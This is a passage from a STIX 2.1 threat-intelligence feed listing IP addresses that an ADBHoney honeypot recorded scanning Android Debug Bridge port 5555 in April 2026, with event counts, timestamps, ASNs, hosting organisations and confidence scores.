        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-15T15:47:37.000Z",
          "last_seen": "2026-04-15T15:48:39.936Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T17:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=US; asn=701; asn_org=Verizon Business; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=13 | first_seen=2026-04-15T16:05:45.000Z | last_seen=2026-04-15T16:15:57.365Z | ports=5555 | cc=US | asn=701 | org=Verizon Business",
      "id": "indicator--9407f484-e2a5-44bc-b10b-cf5334220d59",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.70.167.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T17:00:04.000Z",
      "valid_until": "2026-05-17T17:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 13,
          "first_seen": "2026-04-15T16:05:45.000Z",
          "last_seen": "2026-04-15T16:15:57.365Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "701"
          ],
          "org": [
            "Verizon Business"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T17:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=35; ports=5555; cc=ID; asn=7713; asn_org=PT Telekomunikasi Indonesia; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=66 | first_seen=2026-04-15T14:43:43.000Z | last_seen=2026-04-15T16:26:00.465Z | ports=5555 | cc=ID | asn=7713 | org=PT Telekomunikasi Indonesia",
      "id": "indicator--75342a3d-5cbf-41ad-8507-544df3c7b521",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '36.80.241.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T17:00:04.000Z",
      "valid_until": "2026-05-17T17:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 66,
          "first_seen": "2026-04-15T14:43:43.000Z",
          "last_seen": "2026-04-15T16:26:00.465Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ID"
          ],
          "asn": [
            "7713"
          ],
          "org": [
            "PT Telekomunikasi Indonesia"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T22:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=895 | first_seen=2026-04-15T21:06:25.000Z | last_seen=2026-04-30T07:36:05.364Z | ports=5555 | cc=NL | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.50.16.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T22:00:05.000Z",
      "valid_until": "2026-05-17T22:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 895,
          "first_seen": "2026-04-15T21:06:25.000Z",
          "last_seen": "2026-04-30T07:36:05.364Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T22:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=IT; asn=29447; asn_org=Scaleway SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=15 | first_seen=2026-04-15T21:28:39.000Z | last_seen=2026-04-15T21:41:43.759Z | ports=5555 | cc=IT | asn=29447 | org=Scaleway SAS",
      "id": "indicator--cf0d019c-4b45-49af-aa57-c766e1992060",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '81.56.72.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T22:00:05.000Z",
      "valid_until": "2026-05-17T22:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 15,
          "first_seen": "2026-04-15T21:28:39.000Z",
          "last_seen": "2026-04-15T21:41:43.759Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IT"
          ],
          "asn": [
            "29447"
          ],
          "org": [
            "Scaleway SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T00:00:31.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=26; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=26 | first_seen=2026-04-15T23:39:07.000Z | last_seen=2026-04-15T23:51:32.414Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--a9b0e37d-1524-4d4d-99b8-310883f2efb2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.80.83.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T00:00:31.000Z",
      "valid_until": "2026-05-18T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 26,
          "first_seen": "2026-04-15T23:39:07.000Z",
          "last_seen": "2026-04-15T23:51:32.414Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-16T01:29:22.000Z | last_seen=2026-04-16T01:43:28.382Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--6e6fcca8-8801-48c8-8592-e27cf6da3701",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.236.246.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T02:00:03.000Z",
      "valid_until": "2026-05-18T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-16T01:29:22.000Z",
          "last_seen": "2026-04-16T01:43:28.382Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=ID; asn=131706; asn_org=PT SELARAS CITRA TERABIT; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=69 | first_seen=2026-04-16T01:59:42.000Z | last_seen=2026-04-17T10:47:27.337Z | ports=5555 | cc=ID | asn=131706 | org=PT SELARAS CITRA TERABIT",
      "id": "indicator--110e83ac-c2cb-46e1-ad19-af5c241519d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '121.101.134.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T02:00:03.000Z",
      "valid_until": "2026-05-18T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 69,
          "first_seen": "2026-04-16T01:59:42.000Z",
          "last_seen": "2026-04-17T10:47:27.337Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ID"
          ],
          "asn": [
            "131706"
          ],
          "org": [
            "PT SELARAS CITRA TERABIT"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=PK; asn=9541; asn_org=Cyber Internet Services Pvt Ltd.; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=1\n\nObserved in ADBHoney telemetry for 2026-04. events=11 | first_seen=2026-04-16T01:25:50.000Z | last_seen=2026-04-16T01:36:10.471Z | ports=5555 | cc=PK | asn=9541 | org=Cyber Internet Services Pvt Ltd.",
      "id": "indicator--6b6f38d7-1b69-49ae-b9c3-13a20fe3b217",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '72.255.26.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T02:00:03.000Z",
      "valid_until": "2026-05-18T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 11,
          "first_seen": "2026-04-16T01:25:50.000Z",
          "last_seen": "2026-04-16T01:36:10.471Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "9541"
          ],
          "org": [
            "Cyber Internet Services Pvt Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T03:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=22 | first_seen=2026-04-16T02:36:15.000Z | last_seen=2026-04-16T02:47:43.355Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--d582ca9c-0afd-4f9a-a041-078135f0c5c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:00:05.000Z",
      "valid_until": "2026-05-18T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 22,
          "first_seen": "2026-04-16T02:36:15.000Z",
          "last_seen": "2026-04-16T02:47:43.355Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T04:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=MN; asn=45204; asn_org=GEMNET LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-16T03:51:01.000Z | last_seen=2026-04-16T04:01:14.684Z | ports=5555 | cc=MN | asn=45204 | org=GEMNET LLC",
      "id": "indicator--899f696d-5970-448e-a1e6-103e497b6974",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '180.149.125.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:00:12.000Z",
      "valid_until": "2026-05-18T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-16T03:51:01.000Z",
          "last_seen": "2026-04-16T04:01:14.684Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MN"
          ],
          "asn": [
            "45204"
          ],
          "org": [
            "GEMNET LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T04:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=MN; asn=45204; asn_org=GEMNET LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-16T03:20:46.000Z | last_seen=2026-04-16T03:22:26.567Z | ports=5555 | cc=MN | asn=45204 | org=GEMNET LLC",
      "id": "indicator--f68deffc-e16a-4131-acf1-a1abfc2bb9de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '180.149.125.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:00:12.000Z",
      "valid_until": "2026-05-18T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-16T03:20:46.000Z",
          "last_seen": "2026-04-16T03:22:26.567Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MN"
          ],
          "asn": [
            "45204"
          ],
          "org": [
            "GEMNET LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=13 | first_seen=2026-04-16T04:32:37.000Z | last_seen=2026-04-16T04:42:50.964Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--f80502d2-2c53-4b34-9919-81292dc23369",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '27.200.38.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:00:04.000Z",
      "valid_until": "2026-05-18T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 13,
          "first_seen": "2026-04-16T04:32:37.000Z",
          "last_seen": "2026-04-16T04:42:50.964Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T07:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-16T06:20:04.000Z | last_seen=2026-04-16T06:21:13.318Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--58751436-2dd3-4611-8118-df7b400ca2c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T07:00:02.000Z",
      "valid_until": "2026-05-18T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-16T06:20:04.000Z",
          "last_seen": "2026-04-16T06:21:13.318Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T07:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-16T06:22:18.000Z | last_seen=2026-04-16T06:32:31.179Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T07:00:02.000Z",
      "valid_until": "2026-05-18T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-16T06:22:18.000Z",
          "last_seen": "2026-04-16T06:32:31.179Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T07:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=5410; asn_org=Bouygues Telecom SA; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-16T06:58:46.000Z | last_seen=2026-04-16T09:04:07.365Z | ports=5555 | cc=FR | asn=5410 | org=Bouygues Telecom SA",
      "id": "indicator--72938c3c-756f-4633-b399-bbcd31d562d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '31.39.70.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T07:00:02.000Z",
      "valid_until": "2026-05-18T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-16T06:58:46.000Z",
          "last_seen": "2026-04-16T09:04:07.365Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "5410"
          ],
          "org": [
            "Bouygues Telecom SA"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-16T08:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=32; ports=5555; cc=IN; asn=45609; asn_org=Bharti Airtel Ltd. AS for GPRS Service; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=32 | first_seen=2026-04-16T07:26:34.000Z | last_seen=2026-04-16T07:36:50.044Z | ports=5555 | cc=IN | asn=45609 | org=Bharti Airtel Ltd. AS for GPRS Service",
      "id": "indicator--6fa5b6c3-1144-4dcd-8937-52a96fa75cb7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '171.79.40.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T08:00:15.000Z",
      "valid_until": "2026-05-18T08:00:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 32,
          "first_seen": "2026-04-16T07:26:34.000Z",
          "last_seen": "2026-04-16T07:36:50.044Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "45609"
          ],
          "org": [
            "Bharti Airtel Ltd. AS for GPRS Service"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
